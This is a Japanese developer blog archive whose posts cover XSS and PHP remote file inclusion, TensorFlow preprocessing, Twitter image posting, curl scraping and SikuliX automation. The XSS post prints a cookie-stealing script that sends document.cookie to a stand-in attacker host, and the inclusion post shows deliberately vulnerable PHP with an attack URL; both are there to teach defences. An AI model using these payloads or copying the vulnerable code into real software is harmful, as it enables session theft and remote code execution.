2019年8月8日木曜日

セキュリティー対策(2)

Webサイトを表示するだけで、乗っ取りってどういうことなのでしょう?
今回は、XSS(クロス・サイト・スクリプティング)についてです。

悪意のあるURLが送り付けられると、自分が入力したユーザー名などの
個人しか知りえないような情報が読みだされてしまします。

例:Webにログイン後、クッキーにユーザー名が設定されている場合

  <?php
   setcookie("username", "ぴろん");
 
 if (isset($_GET['id'])) echo $_GET['id'];

  ?>


ユーザー名は、ログインした人しか分からないはずなのに、
このページを表示していて、アドレスに
以下のようなスクリプトを含ませて、

http://localhost/blog/xss.php?id=<script>document.location='http://waruwaru.co.jp/?'+document.cookie;</script>
<script>document.location='http://waruwaru.co.jp/?'+document.cookie;</script>

urlencodeで、「<」等の文字列を変換して送り付けると...

http://localhost/blog/xss.php?id=%3Cscript%3Edocument.location%3D'http%3A%2F%2Fwaruwaru.co.jp%2F%3F'%2Bdocument.cookie%3B%3C%2Fscript%3E





このように、サイト内でしか知りえないパラメータの「username」が表示されてしまいました。(笑


スクリプトを使って、ユーザーから渡された値は、このようにエスケープするとコードは無害化されて
問題が無くなりますね。

  <?php
   function _hs($value) {
  $value = htmlspecialchars($value, ENT_QUOTES);
  return($value);
 }
 
 setcookie("username", "ぴろん");
 
 if (isset($_GET['id'])) echo _hs($_GET['id']);

  ?>

今度は、ただの文字列になりました。



シェルパラボ(システム開発・ソフトウェア作成業務請負)
https://www.chomolungma.biz/


2019年8月7日水曜日

セキュリティー対策(1)

Webサイトを作る際、忘れてはいけないのがセキュリティ。
作る効率や利便性の為だけに、犠牲にしている事はないですか?

Webサイトを構築する際のセキュリティって、ついつい後回しになりがちな
内容を考えてみたいと思います。
今回は、任意のファイルを読み込ませて実行させるインクルード攻撃について考察です。

  
    <?php

    include $_GET['file'];
  
   ?>

攻撃方法:
http://xxx.php?file=http://abc/xxx.php

とすることで、サイトxxxにサイトabcのファイルを
読み込ませて実行することができます。
外部からのファイルの読み込みは、避けたいものですね~。

https://www.filetalk.info/index.html

2019年8月6日火曜日

TenserFlow入門(2)

計算した結果は、時として大きな値や小さな値が混ざることがあります。
このようなデータが含まれていると、
導き出される答えのバランスが良くない偏った答えとなってしまいます。
そこで、利用するデータは、正規化が必要になってきます。(推奨されてます)

正規化の方法としては、
特徴の平均を減算して標準偏差で除算
したものとなりますので、前回の温度のデータの場合ですと
こんな感じになります。
前回の記事は、こちら https://pillon-pg.blogspot.com/2019/08/tensorflow.html

# 平均
mean = dfTemp.mean(axis=0)
# 標準偏差
std = dfTemp.std(axis=0)
# 特徴の平均を減算して標準偏差で除算
#train_data = (train_data - mean) / std

print(str(mean))
print(str(std))

print("end")


https://www.filetalk.info/index.html


2019年8月5日月曜日

TensorFlow入門(1)

AIと呼ばれる部分の成長において、
機械学習からディープラーニングが大きく発展するきっかけにもなった
今回から、GoogleのTensorFlowなどのツールを使ってみます。

このあたりのツールを使うにあたっては、学習のために大量のデータを
取り扱う必要があるため、データを整理する関数等も
色々ありますね。

サンプルで、気象庁から気温のデータを読み込んでみます。
以下からダウンロードができます。
http://www.data.jma.go.jp/gmd/risk/obsdl/index.php


ダウンロードしたCSVファイルは、頭にヘッダーとして、
ダウンロードした日付や列の説明の行がついてます。
そのままだと、データを利用するのに適さないので、
編集することになりますが、Excelなどを使わなくても、
pandasを使えば、簡単に必要データのみを抽出することができます。

CSVからデータ用にファイルを読み込む場合、以下のようになります。
    # CSVから読み込み(日付をインデックスで日付型、ヘッダーの6行を読み飛ばす)
    df = pd.read_csv('data.csv', index_col=0, parse_dates=True, 
                             skiprows=6, encoding='shift_jis', header=None)
    # 不要な列を削除
    df = df.drop([2, 3, 5, 6, 8, 9], axis=1)
    # 列名を設定
    df.columns = [
        'avg_temp',    # 平均気温
        'max_temp',    # 最高気温
        'min_temp'     # 最低
    ]
    print(df.head())   # 最初の5行を表示
    return df

これを実行すると、こんなイメージ


ソースだけで簡単に取得することができますね。

シェルパラボ(システム開発・ソフトウェア作成業務請負)
https://www.chomolungma.biz/

2019年8月3日土曜日

Twitterで画像を自動送信

Twitterでは様々なユーザーの様々な意見を収集または、発信できるツールとして
利用されてます。ここから機械学習用の情報を取得できれば、
言語辞書の成長もうなぎ登りのはず....。
そこで、ツイッターでできることを試してみようと思います。

今回は、前回文字列を自動で発信したものの別バージョンで
画像をツイートしてみようと思います。

ソースは前回の
https://pillon-pg.blogspot.com/2019/07/tmhoauthphptwitter-twitterlove.html
から流用し、画像をUPできるように改造します。
  // PHPでアップロードした画像をbase64エンコード
  $sUpdImgBase64 = base64_encode(file_get_contents($sImgTmpName));
  
  // パラメータの作成
  $aUpdImgParams = array('media_data' =>  $sUpdImgBase64);
  
  // base64エンコードした画像をtwitterに送信
  $iImgCode = $twObj->request( 'POST', "https://upload.twitter.com/1.1/media/upload.json", $aUpdImgParams, true, true);
  
  // media/upload.json の結果をjson文字列で受け取り配列に格納
  $aResUpload = json_decode($twObj->response["response"], true);
  
  // メディアIDの取得
  $iMediaId = $aResUpload['media_id'];
  
  // メディアIDとツイート文字列のパラメータを作成
  $aUptParams = array(
   'media_ids' =>  $iMediaId,  // 取得したmedia_id
   'status' =>  $_POST['tweet'] . " #Love #JavaScript #bot #PHP #node #PC"  // ツイート内容
  );
  
  // メディアIDとツイート文字列をTwitterに送信
  $iImgCode = $twObj->request( 'POST', "https://api.twitter.com/1.1/statuses/update.json", $aUptParams);

とします。




下のアドレス確認することができます。ボタンを押してツイートすることができます。
https://sherpa.5dx.org/bot/love.php
ツイート先は、下から確認してください。
https://twitter.com/PillonPg




手軽にどこでもファイル共有 FileTalk(5GB無料)
https://www.filetalk.info/index.html
https://www.filetalk.info/index.html

2019年8月2日金曜日

PHPでクロール・スクレイピング

データ取得の自動化ができれば、AI学習も迅速に対応できます。
ということで、今回はPHPを使ってWebからデータの自動取得を行います。

今までは、お手軽な file_get_contents がよく使われていましたが、
タイムアウト処理が不向きであったりや、なにかとセキュリティの向上で
利用できなくしているレンタルサーバーもあるので、curlを使ってみます。

例として、ヤフーのページを取得後、URLのみを抽出します。
 $url = "https://www.yahoo.co.jp/";
 $url = "https://weather.yahoo.co.jp/weather/jp/40/8210/40133.html";
 $ua = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13";
 //$ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36";
 
 $crl = curl_init();
 //curl_setopt($crl, CURLOPT_POST, true);
 //curl_setopt($crl, CURLOPT_POSTFIELDS, $param);
 curl_setopt($crl, CURLOPT_SSL_VERIFYPEER, false); // SSLのページはこれがないと読めない
 curl_setopt($crl, CURLOPT_URL, $url);
 curl_setopt($crl, CURLOPT_USERAGENT, $ua);
 curl_setopt($crl, CURLOPT_HEADER, false); // false=ヘッダー表示なし、true=ヘッダー表示あり
 curl_setopt($crl, CURLOPT_RETURNTRANSFER, true);
 curl_setopt($crl, CURLOPT_FRESH_CONNECT, true);
 curl_setopt($crl, CURLOPT_AUTOREFERER, true);
 curl_setopt($crl,CURLOPT_TIMEOUT, 3);  // タイムアウト(秒)
 $response = curl_exec($crl);
 $info = curl_getinfo($crl);
 $errorNo = curl_errno($crl);
 $code = curl_getinfo($crl, CURLINFO_HTTP_CODE);
 //echo $code;
 if ($errorNo === CURLE_OK) {
  $header_size = curl_getinfo($crl, CURLINFO_HEADER_SIZE);
  $header = substr($response, 0, $header_size); // headerだけ切り出し
  $body = substr($response, $header_size);  // bodyだけ切り出し
  
  //var_dump($response);
  //var_dump($info);
  
  //echo $header;
  //echo $body;
  
  // URLのみ抽出
  if (preg_match_all('(https?://[-_.!~*\'()a-zA-Z0-9;/?:@&=+$,%#]+)', $body, $result) !== false) {
   foreach ($result[0] as $value) {
    print $value . '
';
   }
  }
 }
 curl_close($crl);

抽出したURLがこちら。簡単にできますね。

シェルパラボ(システム開発・ソフトウェア作成業務請負)
https://www.chomolungma.biz/
https://www.filetalk.info/index.html
 

2019年8月1日木曜日

RPA(ロボティック・プロセス・オートメーション)でできる自動操作の世界

今回は、無料で使える SikuliX というRPAを使って、操作の自動化を試してみます。
SikuliX の良いところは、画像認識で画面の状態を判定して、操作をプログラムできるところです。

まずインストール
JAVAで動くのでJREが入っていない場合、ORACLEからJAVAをダウンロードしてインストールします。
(64ビット版が必要です)
https://www.oracle.com/technetwork/java/javase/downloads/jre8-downloads-2133155.html


以下のページから、
https://raiman.github.io/SikuliX1/downloads.html
The Jython interpreter 2.7.1 for python scripting (the default) と
Download the ready to use sikulix.jar (SikuliX IDE) をクリックしてダウンロードします。



次に、どこかにインストール先のフォルダを作成します
    例:(c:\PRA)
上のフォルダに、jython-standalone-2.7.1.jar と sikulix.jar を貼り付けます。
そして、sikulix.jar をダブルクリックします。
ダブルクリック後、jython-standalone-2.7.1.jar は、システムがファイルを自動で移動します。以後は、sikulix.jar をダブルクリックして起動できるようになります。

基本的な使い方
sikulix.jar をダブルクリックして起動し、コマンドを登録する形です。

最初におまじないとして、日本語が使えるように以下のコマンドを貼り付けます。
import sys
reload(sys)
sys.setdefaultencoding('utf-8')

指定した場所をクリックさせる場合
click()
と入力し、カッコの内側にカーソルを移動して、「スクリーンショットを撮る」をクリックすると、
実行したときに、画面の内容を認識して該当部分がクリックされるようになります。

文字列を入力する場合
paste("xxxxx")
と入力し、""の内側に入力させたい文字列を設定します。

試しに、FileTalkでチャットを自動入力するものを作ってみます。
手軽にどこでも FileTalk(5GB無料)
https://www.filetalk.info/index.html


ブラウザを起動して、メッセージが送信できました。

https://www.filetalk.info/index.html